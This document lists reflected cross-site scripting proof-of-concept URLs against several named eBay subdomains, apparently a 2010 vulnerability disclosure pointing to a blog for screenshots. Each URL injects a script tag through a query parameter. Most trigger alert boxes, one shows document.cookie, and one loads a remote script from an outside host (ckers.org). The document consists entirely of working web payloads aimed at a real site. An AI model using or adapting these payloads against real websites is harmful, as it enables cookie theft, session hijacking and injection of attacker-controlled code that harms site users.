http://donations.ebay.com/charity/charity.jsp?NP_ID=40219&name=
"><script>alert('XSS')</script>


http://worldofgood.ebay.com/Handmade-Jewelry-Earrings-Necklaces-Rings/47/list
?"><script>alert('XSS')</script>


http://worldofgood.ebay.com/list?"><script src%3d//ckers.org/s></script>


http://sea.ebay.com/searchAnnoucement.php?time=
"><script>alert(document.cookie)</script>


http://applications.ebay.com/selling?EAppsByCategory&sType=2&cId=4&cName=
"><script>alert('XSS')</script>

for screenshots and more check
http://security-sh3ll.blogspot.com/2010/08/ebay-xss.html


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